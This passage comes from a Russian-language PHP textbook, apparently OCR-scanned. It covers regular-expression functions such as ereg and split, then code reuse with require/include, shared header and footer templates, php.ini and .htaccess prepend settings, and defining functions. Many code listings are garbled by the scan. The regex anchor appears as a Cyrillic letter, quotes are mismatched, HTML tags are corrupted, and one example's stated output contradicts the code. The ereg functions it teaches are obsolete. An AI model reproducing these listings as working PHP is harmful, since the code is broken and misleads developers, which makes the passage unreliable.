списком действительных доменов верхнего уровня (top-level domain — TLD). Однако соблюдайте осторожность при установке различных ограничений, поскольку прове- рочная функция, отвергающая хотя бы 1% допустимых данных, вызывает большее раздражение, чем аналогичная функция, пропускающая 10% недопустимых данных. Теперь, когда вы познакомились с регулярными выражениями, перейдем к рас- смотрению PHP-функций, которые используют эти выражения. Поиск подстрок с помощью регулярных выражений Поиск подстрок — это основное применение только что рассмотренных регуляр- ных выражений. В РНР существуют две функции, предназначенные для сопоставле- ния с регулярными выражениями: ereg () и eregi (). Функция ereg() (“regular expression” — “регулярное выражение”) имеет следую- щий прототип: я» int ereg(string pattern, string search [, array matches]); Эта функция выполняет поиск в строке search, отыскивая в ней соответствия регулярному выражению, которое определено в шаблоне pattern. Если соответст- вия подвыражений с шаблоном pattern будут найдены, они сохраняются в массиве matches, по одному подвыражению в каждом элементе массива. Функция eregi () идентична предыдущей, за исключением того, что она не чувст- вительна к регистру. Мы можем адаптировать интеллектуальную форму отправки электронной почты под использование регулярных выражений: if (!eregi('Л[a-zA-Z0-9_\-.]+@[a-zA-Z0-9\-]+\.[a-zA-Z0-9\-.]+$', $email)) { echo "<р>Неверен адрес электронной почты.</р>" . "<р>Вернитесь на предыдущую страницу и попробуйте еще раз.</р>"; exit; } $toaddress = "feedback@example.com"; // значение по умолчанию if (eregi("магазин|доставк|розничн", $feedback)) { $toaddress = "retail@example.com"; } else if (eregi("доставк|обязательств", $feedback)) { $toaddress = "fulfillment@example.com"; } else if (eregi("счет|рассчит", $feedback)) { $toaddress = "accounts@example.com"; } if (eregi('bigcustomer\.com*, $email)) { $toaddress = 'bob@example.com*; } Замена подстрок с помощью регулярных выражений Регулярные выражения можно применять для поиска и замены подстрок так же, как это делалось с помощью функции str replace (). Для решения этой задачи пред- назначены две функции: ereg_replace () и eregi_replace (). Глава 4. Манипулирование строками и регулярные выражения 145
Функция ereg replace () имеет следующий прототип: string ereg_replace(string pattern, string replacement, string search); Эта функция ищет регулярное выражение pattern в строке search и заменяет его строкой replacement. Функция eregi replace () совпадает с ней, за исключением того, что она не чув- ствительна к регистру. Разбиение строк с помощью регулярных выражений Еще одна полезная функция обработки регулярных выражений, split (), имеет следующий прототип: array split(string pattern, string search [, int max]); Эта функция разбивает строку search на подстроки в соответствии с регулярным выражением pattern и возвращает подстроки в массиве. Целочисленный параметр max ограничивает количество подстрок, которые могут быть помещены в массив. Эта функция может оказаться полезной для разбора адресов электронной почты, имен доменов и дат. Например: $address = "username@example.com"; $arr = split ("\.|@", $address); while (list($key, $value) = each ($arr) ) { echo "<br />".$value; } Этот фрагмент кода делит адрес электронной почты на пять компонентов и выво- дит каждый из них в отдельной строке: username example com На заметку! В общем случае функции регулярных выражений выполняются менее эффективно, чем стро- ковые функции с аналогичными возможностями. Если стоящая перед вами задача достаточно проста, чтобы можно было использовать строковые функции, воспользуйтесь ими. Однако это не так, если задача может быть выполнена с помощью одного регулярного выражения вместо множества строковых функций. Дополнительные источники информации В РНР реализовано множество функций обработки строк. В этой главе мы рас- смотрели наиболее полезные из них, но если у вас возникнет необходимость в ка- ких-то особенных функциях данного класса (например, для перевода символов в кириллицу), просмотрите онлайновое руководство по РНР; возможно, вам удастся обнаружить подходящую РНР-функцию. 146 Часть I. Использование РНР
Регулярным выражениям посвящено огромное количество публикаций. Если вы работаете в системе UNIX, знакомство с ними можно начать с man-страницы для функции regexp. .Кроме того, несколько обширных статей находятся на сайтах devshed.com и phpbuilder.com. На Web-сайте Zend можно ознакомиться с более сложной и мощной функцией проверки правильности адресов электронной почты, нежели та, которая была разра- ботана в этой главе. Она называется Mail Vai () и доступна по следующему адресу: http://www.zend.com//code/codex.php?ozid=88&single=l На освоение регулярных выражений потребуется некоторое время — чем больше примеров вы просмотрите и выполните, тем увереннее будете применять регуляр- ные выражения. Что дальше В следующей главе мы рассмотрим несколько способов использования РНР для снижения затрат времени и усилий на программирование, а также для предотвраще- ния избыточности за счет повторного использования кода. Глава 4. Манипулирование строками и регулярные выражения 147
Многократное использование кода и создание функций В этой главе подробно объясняется, как повторное использование кода способству- ет созданию более понятных, надежных и удобных для сопровождения программ, причем с меньшими затратами. Мы покажем принципы разбиения на модули и повтор- ного использования кода, начиная с простых операторов require () и include (), ко- торые позволяют использовать один и тот же код на нескольких страницах. Мы пока- жем, в чем эти функции превосходят серверные включения. Предложенные примеры продемонстрируют использование включаемых файлов для обеспечения однотипного внешнего вида всего сайта. Мы также поясним, как писать и вызывать ваши собствен- ные функции на примере функций генерации страниц и форм. В этой главе рассматриваются следующие темы. Преимущества многократного использования кода. Использование функций require () и include (). Начальные сведения о функциях. Определение функций. Параметры функций. Область действия переменных. Возврат значений. Передача по ссылке и передача по значению. Реализация рекурсии. Пространства имен. 148 Часть I. Использование РНР
Преимущества многократного использования кода Одной из целей, которые стоят перед разработчиками программного обеспече- ния, является повторное использование существующего программного кода вместо написания нового. Это обусловлено отнюдь не тем, что разработчики программного обеспечения отличаются какой-то особенной ленью. Многократное использование существующего кода снижает затраты, повышает надежность и совместимость про- грамм. В идеале новый проект должен создаваться путем объединения существую- щих пригодных для многократного использования компонентов при минимальном объеме разработки с нуля. Затраты На протяжении эффективного срока службы какого-либо фрагмента программно- го обеспечения поддержка, модификация, тестирование и документирование требуют гораздо больших затрат времени, нежели его создание. При написании коммерческо- го кода следует пытаться ограничить количество строк, используемых в организации. Один из наиболее практичных способов достижения этой цели предполагает повтор- ное использование существующего кода вместо того, чтобы для решения новой зада- чи писать слегка отличающуюся версию того же кода. Меньший объем кода означает меньшие затраты. Если программное обеспечение, которое отвечает требованиям нового проекта, уже существует, следует использовать именно его. Стоимость приоб- ретения существующего программного обеспечения почти всегда меньше стоимости разработки, эквивалентного продукта. С другой стороны, к использованию сущест- вующего программного обеспечения, которое почти соответствует предъявляемым требованиям, следует подходить с особой осторожностью. Иногда модификация су- ществующего кода может оказаться труднее создания нового. Надежность Если модуль кода уже используется где-то в организации, то, скорее всего, он был тщательно протестирован. Даже если этот модуль состоит всего лишь из нескольких строк, при его изменении существует вероятность пропустить что-то, что было пре- дусмотрено автором первоначального варианта кода или было добавлено в этот код после выявления недостатков в процессе тестирования. Как правило, существующий, проверенный на практике код более надежен, чем новый, “незрелый”. Единообразие Внешние интерфейсы системы, включая пользовательские интерфейсы и интер- фейсы с другими системами, должны быть однотипными. Создание нового кода, который согласован с остальными частями системы, требует сознательных усилий. Если вы хотите воспользоваться кодом, который работает в другой части системы, единообразие функционирования будет обеспечено автоматически. Но наиболее важное из всех этих преимуществ состоит в том, что повторное ис- пользование кода означает меньший объем работы для вас как для разработчика, ра- зумеется, при условии, что исходный код имеет модульную структуру и хорошо на- Глава 5. Многократное использование кода и создание функций 149
писан. В ходе работы над программами старайтесь распознать те разделы кода, которыми можно будет пользоваться в будущем. Использование операторов require() и include() РНР предоставляет в распоряжение программиста два простых, но очень полез- ных оператора, которые обеспечивают повторное использование любого типа кода. Посредством операторов require () и include () можно загрузить файл в РНР-сце- нарий. Файл может содержать все, что вы обычно включаете в сценарий, в том числе PHP-операторы, текст, HTML-дескрипторы, PHP-функции или РНР-классы. Эти операторы работают аналогично серверным включениям (server-side in- clude— SSI), которые поддерживаются многими Web-серверами, а также операторам #include в языке С и C++. Функции require () и include () почти эквивалентны. Единственное различие между ними состоит в том, что при неудачном выполнении require () генерирует фатальную ошибку, a include () — лишь предупреждение. Имеются две модификации require () и include (), которые называются require once () и include once () соответственно. Из их названий (“once” — “одна- жды”) понятно, что они предназначены для однократного включения файла. Но из известных примеров применения — верхних и нижних колонтитулов — их польза не очевидна. Однако функции require once () и include once () удобны для включения биб- лиотек функций. Эти конструкции защищают от случайного повторного включения той же библиотеки, когда переопределение функций может привести к, ошибке. Но при достаточно аккуратном кодировании лучше применять require () и include (), т.к. они выполняются быстрее. Расширения имен файлов и require () В файле с именем reusable.php хранится следующий код: <?php echo ’А это очень простой РНР-оператор.<br />'; А в файле с именем ma in. php содержится такой код: <?php echo ’Это главный файл.<Ьг />'; require(’reusable.php'); echo 'Сейчас сценарий завершится.<br />'; ?> Когда вы загружаете файл гeusable.php, вас вряд ли удивит, что в окне браузера отображается текст “А это очень простой РНР-оператор”. Однако при загрузке файла main.php происходит нечто более интересное. Вывод этого сценария показан на рис. 5.1. Чтобы можно было использовать оператор require (), необходим файл. В преды- дущем примере использовался файл reusable.php. При выполнении этого сценария оператор require('reusable.php'); заменяется содержимым запрошенного файла, после чего сценарий выполняется. 150 Часть I. Использование РНР
Это означает, что загруженный файл main.php выполняется так, как если бы сце- нарий имел следующий вид: <?php echo ’Это главный файл.<Ьг />’; echo ' А это очень простой РНР-оператор. <Ьг /> *; echo 'Сейчас сценарий завершится.<Ьг />’; ?> Рис. 5.1. Вывод, генерируемый файлом main .php, отображает результат выполнения оператора require () При использовании оператора require () следует обратить внимание на различия в обработке расширений имен файлов и РНР-дескрипторов. РНР игнорирует расширение имени запрашиваемого файла. Это означает, что файл можно называть как угодно, если только вы не собираетесь вызывать его непо- средственно. При использовании оператора require () для загрузки файла, он факти- чески становится частью PHP-файла и выполняется в его составе. Обычно PHP-операторы не выполняются, если они находятся в файле с именем, например, page.html. Как правило, РНР вызывается только для анализа файлов с определенными расширениями, такими как, например, .php. (Это можно изменить с помощью конфигурационного файла веб-сервера.) Однако если загрузить файл page.html с помощью оператора require (), любые хранящиеся внутри него РНР- операторы будут обработаны. Следовательно, для включаемых файлов можно выби- рать любые расширения, однако имеет смысл придерживаться разумного соглашения вроде .inc или .php. При этом следует иметь в виду, что если файлы, имеющие расширение .inc или какое-то другое нестандартное расширение, сохраняются в дереве веб-документов, и пользователи непосредственно загружают их в браузеры, они смогут просмотреть со- держащийся в них код в виде простого текста, включая любые находящиеся там па- роли. Поэтому важно либо хранить включаемые файлы вне дерева документов, либо использовать стандартные расширения. На заметку! В рассматриваемом примере повторно используемый файл (reusable.php) содержит текст <?php echo 'А это очень простой РНР-оператор.<br />'; PHP-код размещается внутри РНР-дескрипторов. Это нужно делать, если вы хотите, чтобы PHP-код внутри запрошенного вами файла обрабатывался именно как РНР-код. Глава 5. Многократное использование кода и создание функций 151
Если не открывать PHP-дескриптор, РНР будет рассматривать этот код просто как текст или HTML-код и выполнять его не будет. Использование оператора require () для шаблонов веб-сайта Если внешний вид веб-страниц на сайте вашей компании должен быть единооб- разным, вы можете воспользоваться РНР для добавления в страницы шаблонов и стандартных элементов с помощью оператора require (). Например, веб-сайт вымышленной компании ВОВАН Convulsing содержит не- сколько страниц, и все они выглядят так, как показано на рис. 5.2. Когда нужно создать новую страницу, разработчик может открыть существующую страницу, вы- резать существующий текст из середины файла, вставить туда новый текст и сохра- нить полученный файл под новым именем. ica ® :£3_ Не gdit View History gcokraarks Tools Help Ofi * C? X ЗЙ ' htto:/^o<^bostAjhpmyscfl<'05,/home.htni! - j ВОВАН Convulsing О Главная О Контакты IО Услуги IО Карта сайта Добро пожаловать на сайт ВОВАН Convulsing Познакомьтесь с нашей деятельностью. Вы забудете о своих проблемах, когда мы расскажем вам о наших! © ВОВАН Convt^sing Pty Ltd. К вашим услугам - наша страница с официальной информацией Ропе Рис. 5.2. Все веб-страницы сайта компании ВОВАН Convulsing имеют однотипный внешний вид Рассмотрим следующую ситуацию. Веб-сайт уже существует в течение некоторо- го времени, и теперь в нем содержатся десятки, сотни или, возможно, даже тысячи страниц, причем все они выдержаны в едином стиле. Принято решение частично изменить стандартный вид — изменение может быть совсем незначительным, на- пример, включение адреса электронной почты в нижний колонтитул или добавле- ние одной новой записи в навигационном меню. Как вам понравится перспектива вносить изменения, пусть даже и небольшие, в десятки, сотни или даже тысячи страниц? Непосредственное многократное использование разделов HTML, общих для всех страниц, представляет собой значительно более рациональный подход, неже- ли вырезание и вставка, выполняемая в десятках, сотнях или даже тысячах страниц. Исходный код домашней страницы (home.html), показанной на рис. 5.2, приведен в листинге 5.1. 152 Часть I. Использование РНР
Листинг 5.1. home.html — HTML-код, создающий домашнюю страницу компании ВОВАН Convulsing <html> <head> <title>BOBAH Convulsing Pty Ltd</title> <style type="text/css"> hl {color:white; font-size:24pt; text-align:center; font-family:arial,sans-serif} .menu {color:white; font-size:12pt; text-align:center; font-family:arial,sans-serif; font-weight:bold} td {background:black} p {color:black; font-size:12pt; text-align:justify; font-family:arial,sans-serif} p.foot {color:white; font-size:9pt; text-align:center; font-family:arial,sans-serif; font-weight:bold} a:link,a:visited,a:active {color:white} </style> </head> <body> <! — верхнйй колонтитул страницы —> <table width="100%" cellpadding =”12" cellspacing ="0" border = "0"> <tr bgcolor ="black"> <td align ="left"ximg src="logo.gif" alt="JIoroTnn ВОВАН" height="70" width="70"></td> <td> <hl>BOBAH Convulsing</hl> </td> <td align ="right"ximg src="logo.gif" alt="JIoroTnn ВОВАН" height="70" width="70"x/td> </tr> </table> <! — меню —> ctable width="100%" bgcolor= "white" cellpadding="4" cellspacing="4"> <tr> <td width="25%"> <img src="s-logo.gif" alt="" height="20" width="20"> <span с1азз="тепи">Главная</зрап> </td> <td width="25%"> <img src="s-logo.gif" alt="" height="20" width="20"> <span class="menu">KoHTaKTbi</span> </td> <td width="25%"> cimg src="s-logo.gif" alt="" height="20" width="20"> . <span с1азз="тепи">Услуги</5рап> </td> ctd width="25%"> cimg src="s-logo.gif" alt="" height="20" width="20"> cspan class="menu">KapTa сайта</эрап> c/tdx </tr> </table> <! — содержимое страницы —> <р>Добро пожаловать на сайт ВОВАН Convulsing. Познакомьтесь с нашей деятельностью.с/р> <р>Вы забудете о своих проблемах, когда мы расскажем вам о наших!</р> Глава 5. Многократное использование кода и создание функций 153
<! — нижний колонтитул страницы —> <table width="100%” bgcolor=’'black'’ cellpadding^’12’’ border=”0"> <tr> * <td> <p class=’’foot”>&copy; ВОВАН Convulsing Pty Ltd.</p> <p class=nfoot’’>K вашим услугам - наша <a href="legal .рНр">страница с официальной информацией/ах/р> </td> </tr> </table> </body> </html> Как видно из листинга 5.1, в этом файле имеется несколько отдельных разделов кода. HTML-заголовок содержит CSS-определения (Cascading Style Sheet — каскадные таблицы стилей), применяемые на странице. Раздел, озаглавленный как “верхний ко- лонтитул страницы”, выводит название компании и ее логотип, раздел “меню” созда- ет линейку навигационного меню, а раздел “содержимое страницы” содержит текст, уникальный для данной страницы. Под ними расположен раздел “нижний колонти- тул страницы”. Мы можем успешно разделить этот файл на части и присвоить соот- ветствующим частям имена header.inc, home.php и footer.inc. Файлы header. inc и footer. inc содержат код, который будет повторно использо- ваться на других страницах. Файл home. php служит заменой для файла home. html и содержит уникальное со- держимое страницы и два оператора require (), как показано в листинге 5.2. Листинг 5.2. home.php — PHP-код, создающий домашнюю страницу сайта компании ВОВАН Convulsing <?php require('header.php’); ?> <!— содержимое страницы —> <р>Добро пожаловать на сайт ВОВАН Convulsing. Познакомьтесь с нашей деятельностью.</р> <р>Вы забудете о своих проблемах, когда мы расскажем вам о наших!</р> <?php require(’footer.php'); ?> Операторы require () в файле home.php загружают файлы header.php и footer.php. Как уже отмечалось ранее, имена, присвоенные этим файлам, не влияют на способ их обработки при вызове с помощью оператора require (). Часто такие частичные файлы, которые предназначены для включения в другие файлы, называют наподобие что-то. inc (в данном случае “inc” означает “include” — “включаемый”). Однако мы не рекомендуем такую стратегию, поскольку . inc-файлы не интерпретируются как РНР- код, если только веб-сервер не настроен специальным образом. Кроме того, лучше помещать включаемые файлы в каталог, который доступен сце- нарию, но не позволяет отдельно загружать включаемые файлы? с веб-сервера — т.е. в каталог, расположенный вне дерева веб-документов. Это препятствует самостоя- тельной загрузке включаемых файлов, что чревато либо появлением различного 154 Часть I. Использование РНР
рода ошибок, когда расширением файла является . php, но сам файл содержит только часть страницы или сценария, либо возможностью доступа пользователей к исходно- му коду при указании другого расширения. Файл header .php содержит CSS-определения, используемые страницей, и таблицы, которые отображают название компании и навигационное меню (см. листинг 5.3). Листинг 5.3. header.php — повторно используемый верхний колонтитул для всех веб-страниц сайта компании ВОВАН Convulsing <html> chead> ctitle>BOBAH Convulsing Pty Ltd</title> <style type="text/css"> hl {color:white; font-size:24pt; text-align:center; font-family:arial,sans-serif} .menu {color:white; font-size:12pt; text-align:center; font-family:arial,sans-serif; font-weight:bold} td {backgroundrblack} p {color:black; font-size:12pt; text-align:justify; font-family:arial,sans-serif} p.foot {color:white; font-size:9pt; text-align:center; font-family:arial,sans-serif; font-weight:bold} a:link,a:visited,a:active {color:white} </style> </head> <body> <! — верхний колонтитул страницы —> ctable width="100%" cellpadding ="12" cellspacing ="0" border ="0"> <tr bgcolqr ="black"> <td align ="left">cimg src="logo.gif" а11="Логотип ВОВАН" । height="70" width=,,70"></td> <td> <hl>BOBAH Convulsing</hl> </td> <td align ="right"Ximg src="logo.gif" а11="Логотип ВОВАН" height="70" width="70"X/td> </tr> </table> <! — меню —> ctable width="100%" bgcolor= "white" cellpadding="4" cellspacings"4"> <tr> ctd width="25%"> cimg src="s-logo.gif" alt="" height="20" width="20"> <span class="menu">EnaBHafl</span> </td> ctd width="25%"> cimg src="s-logo.gif" alt="" height="20" width="20"> cspan class="menu">KoHTaKTbiC/span> c/td> ctd width="25%"> cimg src="s-logo.gif" alt="" height="20" width="20"> cspan с1а55="тепи">УслугиС/зрап> c/td> ctd width="25%"> cimg src="s-logo.gif" alt="" height="20" width="20"> cspan class="menu">KapTa сайтас/зрап> c/td> c/tr> c/table> Глава 5. Многократное использование кода и создание функций 155
Файл footer.php содержит таблицу, которая выводит нижний колонтитул в ниж- ней части каждой страницы. Этот файл показан в листинге 5.4. Листинг 5.4. footer.php — повторно используемый нижний колонтитул для всех веб-страниц сайта компании ВОВАН Convulsing <! — нижний колонтитул страницы —> ctable width="100%" bgcolor=’’black" cellpadding='’12" border="0"> <tr> <td> <p class=”foot">&copy; ВОВАН Convulsing Pty Ltd.</p> <p class=’’foot">K вашим услугам - наша <a href="legal .рЬр">страница с официальной информацией/ах/р> </td> </tr> </table> </body> , </html> Такой подход позволяет очень легко получить единообразно выглядящий Web- сайт, и новую страницу в этом же стиле можно создать, набрав что-то вроде <?php require(’header.php*); ?> Здесь находится содержимое новой страницы <?php require(’footer.php*); ?> Самое главное, даже после создания множества страниц, использующих этот верх- ний и нижний колонтитулы, можно легко изменить сами файлы верхнего и нижнего колонтитула. Независимо от того, вносятся ли незначительные изменения в тексте, либо полностью модифицируется внешний вид сайта, изменение потребуется внести только один раз. Не нужно изменять каждую страницу сайта по отдельности, посколь- ку каждая страница загружает файлы верхнего и нижнего колонтитулов. В приведенном выше примере, в теле страницы, в ее верхнем и нижнем колон- титулах используется только простой HTML-код. Это вовсе не обязательно. Внутри этих файлов можно применять PHP-операторы для динамической генерации частей страницы. ’ Если требуется, чтобы файл трактовался как простой текст или HTML, а РНР-код не выполнялся, следует использовать функцию readfile (). Эта функция выводит со- держимое файла без какого-либо анализа. Подобный подход может существенно по- высить безопасность при обработке текста, введенного пользователем. Использование конфигурационных параметров auto_prepend__file и auto_append_file Если вы не хотите использовать оператор require () или include () для вклю- чения верхнего и нижнего колонтитулов в каждую страницу, можно решить эту за- дачу другим способом. В файле php.ini имеются два конфигурационных парамет- ра: auto prepend file и auto append file. Указав с их помощью файлы верхнего и нижнего колонтитулов, можно обеспечить загрузку этих файлов, соответственно, перед и после каждой страницы. Файлы, включаемые с использованием данных ди- ректив, ведут себя так, как будто они включены с помощью оператора include (); т.е., если файл не существует, выдается предупреждение. 156 Часть I. Использование РНР
В Windows настройки будут выглядеть примерно так: auto_prepend_file = "С:/Apache/include/header.php" auto_append_file = "C:/Apache/include/footer.php" А в UNIX так: auto_prepend_file = "/home/username/include/header.php" auto_append_file = "/home/username/include/footer.php" В случае использования этих директив отпадает необходимость вводить операто- ры include (), однако верхние и нижние колонтитулы будут выводиться на страни- цах всегда. Если вы работаете с веб-сервером Apache, то можете менять значения различных конфигурационных параметров, подобных этим, для отдельных каталогов. Чтобы это стало возможно, сервер должен быть настроен таким образом, чтобы разрешать перекрывать его главный конфигурационный файл (или файлы). Чтобы установить автоматическое добавление колонтитулов перед и после какого-либо файла для кон- кретного каталога, создайте в этом каталоге файл с именем .htaccess. Такой файл должен содержать следующие две строки: php_value auto_prepend_file "/home/useгname/include/header.php" php_value auto_append_file "/home/username/include/footer.php" Обратите внимание, что синтаксис несколько отличается от синтаксиса этого же параметра в файле php.ini, в частности, отсутствует знак равенства. Аналогично можно изменять и ряд других конфигурационных параметров в файле php.ini. Установка опций в файле .htaccess, а не в php.ini или в конфигурационном фай- ле веб-сервера, обеспечивает очень большую степень свободы. Вы можете менять на- стройки совместно используемого компьютера, которые затрагивают только ваши каталоги. 11ри этом не нужно перезапускать веб-сервер, а также иметь права админи- стратора. Недостаток метода, предусматривающего применение .htaccess, состоит в том, что эти файлы считываются и анализируются при каждом запросе какого-либо файла из данного каталога, а не один раз при начальном запуске компьютера, что приводит к снижению производительности. Использование функций в РНР Функции существуют во многих языках программирования. Они служат для выделе- ния кода, который выполняет отдельную, четко определенную задачу. Это упрощает чте- ние кода и позволяет его использовать всякий раз, когда нужно выполнить эту задачу. Под функцией понимают независимый модуль кода, который устанавливает ин- терфейс вызова, выполняет определенную задачу и при необходимости возвращает результат. Мы уже сталкивались с некоторыми функциями. В предшествующих главах мы по- стоянно обращались к ряду функций, встроенных в РНР. Мы также сами написали несколько простых функций, но при этом не особенно вникали в детали. В этом раз- деле вызов и построение функций описываются более подробно. Вызов функций Следующая строка есть простейшее обращение к функции: function_name(); Глава 5. Многократное использование кода и создание функций 157
Она вызывает функцию с именем function name, которая не требует параметров. Эта строка кода игнорирует любое значение, которое может возвратить данная функция. Множество функций вызываются именно таким образом. Функция phpinfo () час- то оказывается полезной во время тестирования, поскольку она показывает, какая версия РНР установлена, сообщает информацию о РНР, параметры настройки веб- сервера, а также значения различных переменных РНР и сервера. Эта функция не принимает никаких параметров, а мы обычно игнорируем значение, которое она возвращает; поэтому вызов phpinfo () будет иметь следующий вид: phpinfo (); Однако большинство функций требует передачи им одного или большего числа параметров, т.е. информации, передаваемой в функцию. Мы передаем ей параметры, помещая данные или имя переменной, которая содержит данные, в круглые скобки, следующие за именем функции. Обращение к функции с параметром принимает при- мерно такой вид: function_name('параметр’); В этом случае параметром является строка, содержащая слово параметр; следую- щие вызовы также являются допустимыми обращениями к функции (в зависимости от ожидаемого типа параметра): function_name(2); function_name(7.993); function_name($variable); В последней строке переменная $ variable может быть PHP-переменной любого типа, в том числе и массивом или объектом. Параметр может быть данными любого типа, но конкретные функции обычно требуют передачи конкретных типов данных. Количество принимаемых функцией параметров, что каждый из них собою представляет, и какой тип данных он должен иметь, можно выяснить из прототипа (prototype) функции. При описании функции в данной книге часто приводится ее прототип. Вот, например, как выглядит прототип функции fopen (): resource fopen(string filename, string mode [, bool use_include_path [, resource context ]]); Прототип представляет собой описание функции, и очень важно, чтобы вы умели правильно интерпретировать его спецификации. В данном случае слово resource перед именем функции указывает, что эта функция возвращает некоторый ресурс (здесь дескриптор открытого файла). Параметры функции заключаются в круг- лые скобки. В случае функции fopen () в прототипе указаны четыре параметра. Параметры filename и mode являются строками, параметр use_include_path — логическим значением, а параметр context — ресурсом. Квадратные скобки вокруг use_include_path и context показывают, что эти параметры являются необяза- тельными. Для необязательных параметров можно либо передавать значения, либо игнорировать; в таких случаях используется значение, определенное по умолчанию. Однако следует отметить, что если функция принимает более одного необязатель- ного параметра, опускать можно только самые правые из них* Например, в случае fopen () опустить можно либо context, либо use_include_path и context, но нель- зя оставить context и опустить use_include_path. 158 Часть I. Использование РНР
После ознакомления с прототипом этой функции становится понятно, что в при- веденном ниже фрагменте кода находится допустимый вызов fopen (): $name = 'myfile.txt'; $openmode = ' r’; $fp = fopen($name, $Openmode) Этот код вызывает* функцию с именем fopen (). Возвращаемое функцией значение будет сохранено в переменной $fp. В данном примере в функцию передается пере- менная $name, которая содержит строку с именем открываемого файла, и переменная $ openmode, которая содержит строку, указывающую режим для этого файла. Здесь мы не передаем функции необязательные третий и четвертый параметры. Вызов неопределенной функции При попытке вызвать несуществующую функцию вы получите сообщение об ошибке, как показано на рис. 5.3. .-о 0е Edit View Hgtory Bookmarks Tools Help Й *" О J tsj t J ht^://localhosVphpni>^/t?5^ndefined.php ’ 1 | Fatal error: Call to undefined function fimction_name() in /bome/publichtml/tmp/undefined.php on line 3 Done Рис. 5.3. Это сообщение об ошибке является результатом вызова несуществующей функции Как правило, сообщения об ошибках, выводимые РНР, содержат полезную инфор- мацию. Такое сообщение точно указывает имя и строку сценария, где была допущена ошибка, а также имя функции, которую вы пытались вызвать. Эта информация долж- на существенно упростить поиск и устранение проблемы. Получив сообщение об ошибке, вы должны проверить два момента. 1. Правильно ли указано имя функции? 2. Существует ли указанная в сообщении функция в используемой версии РНР? Не всегда легко запомнить, как правильно пишется название функции. Например, некоторые имена функций, состоящие из двух слов, содержат символ подчеркива- ния между словами, а некоторые — нет. Так, в имени функции stripslashes () два слова слиты в одно, в то время как в имени функции strip_tags () они разделены символом подчеркивания. Неправильный ввод имени функции в вызове приводит к ошибке (см. рис. 5.3). Некоторые из использованных в книге функций отсутствуют в версии РНР4, по- скольку мы предполагаем, что применяется, по меньшей мере, версия РНР5. В ка- ждой новой версии появляются новые функции, и если вы работаете с одной из ранних версий РНР, то дополнительные возможности и более высокая производи- тельность являются стимулом к модернизации программного обеспечения. Если вы хотите выяснить, когда появилась та или иная функция, можете навести соответст- вующие справки в онлайновом руководстве. Попытка вызова функции, которая не объявлена в используемой вами версии, приведет к появлению сообщения об ошибке, подобного показанному на рис. 5.3. Глава 5. Многократное использование кода и создание функций 159
Еще одна причина получения такого сообщения об ошибке связана с тем, что вызываемая функция является частью PHP-расширения, которое не загружено. Например, если вы попытаетесь воспользоваться функциями из библиотеки работы с изображениями gd, а она не была установлена, вы увидите данное сообщение об ошибке. Регистр символов и имена функций Обратите внимание, что имена функций не чувствительны к регистру, поэтому любое из обращений function_name(), Function_Name () или FUNCTION_NAME() яв- ляется допустимым и приводит к одному и тому же результату. Прописные буквы можно использовать в имени функции любым образом, который, по вашему мнению, облегчает чтение, но при этом все же следует стремиться к какому-то единообразию. В настоящей книге и в большей части документов по РНР принято применять строч- ные буквы. Важно отметить, что имена функций ведут себя иначе, чем имена переменных. Имена переменных чувствительны к регистру, и поэтому $Name и $паше — это разные переменные, тогда как Name () и name () — одна и та же функция. Определение собственных функций В предыдущих главах вы ознакомились со многими примерами использования не- которых встроенных функций РНР. Однако реальная сила языка программирования связана с возможностью создания собственных функций. Функции, встроенные в РНР, позволяют взаимодействовать с файлами, исполь- зовать базы данных, создавать графические изображения и подключаться к другим серверам. Однако вам придется столкнуться со многими случаями, когда придется выполнять действия, не предусмотренные создателями языка. К счастью, вы не ограничены встроенными функциями, поскольку для выполне- ния стоящих перед вами задач можно создавать свои собственные функции. По-ви- димому, создаваемый код будет представлять собой некоторую смесь существующих функций и специализированной логики решения той или иной задачи. Если вы пи- шете блок кода для решения некоторой конкретной задачи, который, скорее всего, придется многократно использовать в нескольких местах сценария или даже в не- скольких сценариях, то имеет смысл организовать этот блок в виде функции. Объявление функции позволяет использовать созданный код так же, как и встро- енные функции. Вы просто вызываете эту функцию и передаете ей все необходимые параметры. Это означает, что одну и ту же функцию вы можете многократно вызы- вать и использовать в своем сценарии. Базовая структура функции Объявление функции создает, или объявляет (declare), новую функцию. Объявление начинается с ключевого слова function, оно присваивает функции имя, задает необхо- димые параметры и содержит код, который выполняется при каждом вызове функции. Объявление простейшей функции имеет примерно такой вид: function my_function() { echo 'Вызвана моя функция'; } 160 Часть I. Использование РНР
Это объявление функции начинается с ключевого слова function, которое сооб- щает человеку и анализатору РНР, что далее следует описание определяемой поль- зователем функции. В данном случае именем функции является my function. Новую функцию можно вызвать с помощью следующего оператора: my_function(); Как вы уже, наверное, догадались, вызов этой функции приведет к отображению текста “Вызвана моя функция” в окне браузера. Встроенные функции доступны для всех PHP-сценариев, но если вы объявляете свои собственные функции, то они доступны только для того сценария (сценариев), где они были объявлены. Имеет смысл завести отдельный файл и поместить в него все обычно используемые функции. Тогда в каждом из своих сценариев вы можете с помощью оператора require () получить доступ к этим функциям. Внутри функции код, который решает требуемую задачу, заключается в фигурные скобки. Между этими скобками можно поместить любые конструкции, допустимые в любом месте PHP-сценария, в том числе вызовы функций, объявления новых пере- менных или функций, операторы require () или include () и обычный HTML-текст. Если внутри функции нужно выйти из среды РНР и ввести обычный HTML-текст, это делается так же, как в любом другом месте сценария, т.е. устанавливается закрываю- щий PHP-дескриптор, за которым помещается HTML-текст. Ниже показан допусти- мый вариант ранее приведенного примера, который генерирует такой же вывод: <?php function my_function () { ?> Вызвана моя функция <?php } ?> Обратите внимание на то, что PHP-код заключен между соответствующими от- крывающим и закрывающим PHP-дескрипторами. На протяжении этой книги в боль- шинстве коротких фрагментов кода эти дескрипторы опускаются. Здесь же они пока- заны, так как они необходимы внутри примера, а также выше и ниже его. Именование функций Самое важное при выборе имени функции заключается в том, чтобы это имя было кратким и несло соответствующую смысловую нагрузку. Если функция создает верхний колонтитул страницы, подходящим именем может быть pageheader() или page_header(). На имена функций накладываются следующие ограничения. Функция не может иметь то же имя, что у существующей функции. Имя функции может содержать только буквы, цифры и символы подчеркивания. Имя функции не может начинаться с цифры. Многие языки программирования допускают многократное использование имен функций. Это свойство называется перегрузкой функций (function overloading). Однако РНР не поддерживает перегрузку функций, поэтому функция не может иметь имя, совпадающее с именем любой встроенной или существующей пользовательской функции. Имейте в виду, что хотя любой PHP-сценарий распознает все встроенные Глава 5. Многократное использование кода и создание функций 161
